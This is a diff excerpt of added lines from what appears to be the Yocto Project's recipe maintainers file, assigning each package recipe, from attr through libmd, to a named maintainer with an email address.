+RECIPE_MAINTAINER:pn-attr = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-autoconf = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-autoconf-archive = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-automake = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-avahi = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-babeltrace = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-babeltrace2 = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-base-files = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-base-passwd = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-bash = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-bash-completion = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-bc = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-bind = "Armin Kuster <akuster808@gmail.com>"
+RECIPE_MAINTAINER:pn-binutils = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-binutils-cross-${TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-binutils-cross-canadian-${TRANSLATED_TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-binutils-cross-testsuite = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-binutils-crosssdk-${SDK_SYS} = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-bison = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-blktool = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-blktrace = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-bluez5 = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-bmap-tools = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-boost = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-boost-build-native = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-bootchart2 = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-bsd-headers = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-btrfs-tools = "Wang Mingyu <wangmy@fujitsu.com>"
+RECIPE_MAINTAINER:pn-build-appliance-image = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-build-sysroots = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-builder = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-buildtools-extended-tarball = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-buildtools-tarball = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-busybox = "Andrej Valek <andrej.valek@siemens.com>"
+RECIPE_MAINTAINER:pn-busybox-inittab = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-bzip2 = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-ca-certificates = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-cairo = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-cargo = "Randy MacLeod <Randy.MacLeod@windriver.com>"
+RECIPE_MAINTAINER:pn-cargo-cross-canadian-${TRANSLATED_TARGET_ARCH} = "Randy MacLeod <Randy.MacLeod@windriver.com>"
+RECIPE_MAINTAINER:pn-cantarell-fonts = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-ccache = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-cdrtools-native = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-chrpath = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-cmake = "Pascal Bach <pascal.bach@siemens.com>"
+RECIPE_MAINTAINER:pn-cmake-native = "Pascal Bach <pascal.bach@siemens.com>"
+RECIPE_MAINTAINER:pn-connman = "Changhyeok Bae <changhyeok.bae@gmail.com>"
+RECIPE_MAINTAINER:pn-connman-conf = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-connman-gnome = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-consolekit = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-core-image-base = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-minimal = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-minimal-dev = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-minimal-initramfs = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-minimal-mtdutils = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-tiny-initramfs = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-full-cmdline = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-kernel-dev = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-ptest-all = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-ptest-fast = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-sato = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-sato-sdk = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-testmaster-initramfs = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-testmaster = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-weston = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-weston-sdk = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-x11 = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-core-image-sato-dev = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-coreutils = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-cpio = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-cracklib = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-createrepo-c = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-cronie = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-cross-localedef-native = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-cryptodev-linux = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-cryptodev-module = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-cryptodev-tests = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-cups = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-curl = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-cve-update-db-native = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-cwautomacros = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-db = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-dbus = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-dbus-glib = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-dbus-test = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-dbus-wait = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-debianutils = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-dejagnu = "Nathan Rossi <nathan@nathanrossi.com>"
+RECIPE_MAINTAINER:pn-depmodwrapper-cross = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-desktop-file-utils = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-dhcpcd = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-diffoscope = "Joshua Watt <JPEWhacker@gmail.com>"
+RECIPE_MAINTAINER:pn-diffstat = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-diffutils = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-distcc = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-distcc-config = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-dmidecode = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-dnf = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-docbook-xml-dtd4 = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-docbook-xsl-stylesheets = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-dos2unix = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-dosfstools = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-dpkg = "Aníbal Limón <limon.anibal@gmail.com>"
+RECIPE_MAINTAINER:pn-dropbear = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-dtc = "Wang Mingyu <wangmy@fujitsu.com>"
+RECIPE_MAINTAINER:pn-dwarfsrcfiles = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-e2fsprogs = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-ed = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-efivar = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-efibootmgr = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-elfutils = "Zang Ruochen <zangrc.fnst@fujitsu.com>"
+RECIPE_MAINTAINER:pn-ell = "Zang Ruochen <zangrc.fnst@fujitsu.com>"
+RECIPE_MAINTAINER:pn-enchant2 = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-encodings = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-epiphany = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-erofs-utils = "Richard Weinberger <richard@nod.at>"
+RECIPE_MAINTAINER:pn-ethtool = "Changhyeok Bae <changhyeok.bae@gmail.com>"
+RECIPE_MAINTAINER:pn-eudev = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-expat = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-expect = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-ffmpeg = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-file = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-findutils = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-flac = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-flex = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-font-alias = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-font-util = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-fontconfig = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-formfactor = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-freetype = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-fribidi = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-fts = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gawk = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-gcc = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gcc-cross-${TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gcc-cross-canadian-${TRANSLATED_TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gcc-crosssdk-${SDK_SYS} = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gcc-runtime = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gcc-sanitizers = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gcc-source-11.2.0 = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gconf = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-gcr = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-gdb = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gdb-cross-${TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gdb-cross-canadian-${TRANSLATED_TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gdbm = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-gdk-pixbuf = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-gettext = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-gettext-minimal-native = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-ghostscript = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-gi-docgen = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-git = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-glew = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-glib-2.0 = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-glib-networking = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-glibc = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-glibc-locale = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-glibc-mtrace = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-glibc-scripts = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-glibc-tests = "Lukasz Majewski <lukma@denx.de>"
+RECIPE_MAINTAINER:pn-glibc-testsuite = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-glide = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
+RECIPE_MAINTAINER:pn-gmp = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-glslang = "Jose Quaresma <quaresma.jose@gmail.com>"
+RECIPE_MAINTAINER:pn-gnome-desktop-testing = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-gnu-config = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-gnu-efi = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-gnupg = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-gnutls = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-go = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-go-binary-native = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-go-cross-${TUNE_PKGARCH} = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-go-cross-canadian-${TRANSLATED_TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-go-crosssdk-${SDK_SYS} = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-go-helloworld = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-go-native = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-go-runtime = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-gobject-introspection = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-gperf = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-gpgme = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-gptfdisk = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-gcompat = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-grep = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-groff = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-grub = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-grub-bootconf = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-grub-efi = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gsettings-desktop-schemas = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gst-devtools = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gst-examples = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gstreamer1.0 = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gstreamer1.0-libav = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gstreamer1.0-omx = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gstreamer1.0-meta-base = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gstreamer1.0-plugins-bad = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gstreamer1.0-plugins-base = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gstreamer1.0-plugins-good = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gstreamer1.0-plugins-ugly = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gstreamer1.0-python = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gstreamer1.0-rtsp-server = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gstreamer1.0-vaapi = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-gtk+3 = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-gtk-doc = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-gzip = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-harfbuzz = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-hdparm = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-help2man = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-hicolor-icon-theme = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-hwlatdetect = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-i2c-tools = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-icecc-create-env = "Joshua Watt <JPEWhacker@gmail.com>"
+RECIPE_MAINTAINER:pn-icu = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-ifupdown = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-igt-gpu-tools = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-inetutils = "Tom Rini <trini@konsulko.com>"
+RECIPE_MAINTAINER:pn-init-ifupdown = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-init-system-helpers = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-initramfs-boot = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
+RECIPE_MAINTAINER:pn-initramfs-framework = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
+RECIPE_MAINTAINER:pn-initramfs-live-boot = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-initramfs-live-boot-tiny = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-initramfs-live-install = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-initramfs-live-install-efi = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-initramfs-live-install-efi-testfs = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-initramfs-live-install-testfs = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-initscripts = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-intltool = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-iproute2 = "Changhyeok Bae <changhyeok.bae@gmail.com>"
+RECIPE_MAINTAINER:pn-iptables = "Changhyeok Bae <changhyeok.bae@gmail.com>"
+RECIPE_MAINTAINER:pn-iputils = "Changhyeok Bae <changhyeok.bae@gmail.com>"
+RECIPE_MAINTAINER:pn-iso-codes = "Wang Mingyu <wangmy@cn.ujitsu.com>"
+RECIPE_MAINTAINER:pn-itstool = "Andreas Müller <schnitzeltony@gmail.com>"
+RECIPE_MAINTAINER:pn-iw = "Changhyeok Bae <changhyeok.bae@gmail.com>"
+RECIPE_MAINTAINER:pn-libjpeg-turbo = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-json-c = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-json-glib = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-jquery = "Joshua Watt <JPEWhacker@gmail.com>"
+RECIPE_MAINTAINER:pn-kbd = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-kea = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-kern-tools-native = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-kernel-devsrc = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-kexec-tools = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-keymaps = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-kmod = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-kmod-native = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-kmscube = "Carlos Rafael Giani <dv@pseudoterminal.org>"
+RECIPE_MAINTAINER:pn-l3afpad = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-lame = "Michael Opdenacker <michael.opdenacker@bootlin.com>"
+RECIPE_MAINTAINER:pn-ldconfig-native = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-less = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-liba52 = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libacpi = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libaio = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libarchive = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
+RECIPE_MAINTAINER:pn-libassuan = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libatomic-ops = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libbsd = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-libcap = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-libcap-ng = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-libcap-ng-python = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-libcgroup = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libcheck = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-libcomps = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libconvert-asn1-perl = "Tim Orling <timothy.t.orling@intel.com>"
+RECIPE_MAINTAINER:pn-libcroco = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libdaemon = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libdazzle = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libdmx = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libdnf = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libdrm = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
+RECIPE_MAINTAINER:pn-libedit = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libepoxy = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-liberation-fonts = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-liberror-perl = "Tim Orling <timothy.t.orling@intel.com>"
+RECIPE_MAINTAINER:pn-libevdev = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libevent = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-libexif = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libfakekey = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libffi = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libfm = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libfm-extra = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libfontenc = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libgcc = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libgcc-initial = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libgcrypt = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-libgfortran = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-libgit2 = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libgloss = "Alejandro Hernandez <aehs29@gmail.com>"
+RECIPE_MAINTAINER:pn-libglu = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-libgpg-error = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-libgudev = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-libhandy = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libical = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-libice = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-libidn2 = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-libinput = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-libjitterentropy = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-libksba = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-libmatchbox = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-libmd = "Alexander Kanavin <alex.kanavin@gmail.com>"
